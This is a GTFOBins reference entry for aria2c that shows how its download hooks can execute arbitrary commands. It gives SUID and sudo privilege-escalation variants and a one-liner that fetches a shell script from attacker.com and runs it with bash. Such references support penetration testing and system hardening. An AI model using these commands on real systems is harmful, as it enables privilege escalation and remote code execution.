GTFOBins.github.io/_gtfobins/aria2c.md
Andrea Cardaci 2e6968e883 Clarify aria2c --allow-overwrite
As discussed in #22.
2018-09-07 13:46:22 +02:00

1.0 KiB

description functions
Note that the subprocess is immediately sent to the background.
execute-non-interactive suid-enabled sudo-enabled
code
COMMAND='id' TF=$(mktemp) echo "$COMMAND" > $TF chmod +x $TF aria2c --on-download-error=$TF http://x
description code
The remote file `aaaaaaaaaaaaaaaa` (must be a string of 16 hex digit) contains the shell script. Note that said file needs to be written on disk in order to be executed. `--allow-overwrite` is needed if this is executed multiple times with the same GID. aria2c --allow-overwrite --gid=aaaaaaaaaaaaaaaa --on-download-complete=bash http://attacker.com/aaaaaaaaaaaaaaaa
code
COMMAND='id' TF=$(mktemp) echo "$COMMAND" > $TF chmod +x $TF ./aria2c --on-download-error=$TF http://x
code
COMMAND='id' TF=$(mktemp) echo "$COMMAND" > $TF chmod +x $TF sudo aria2c --on-download-error=$TF http://x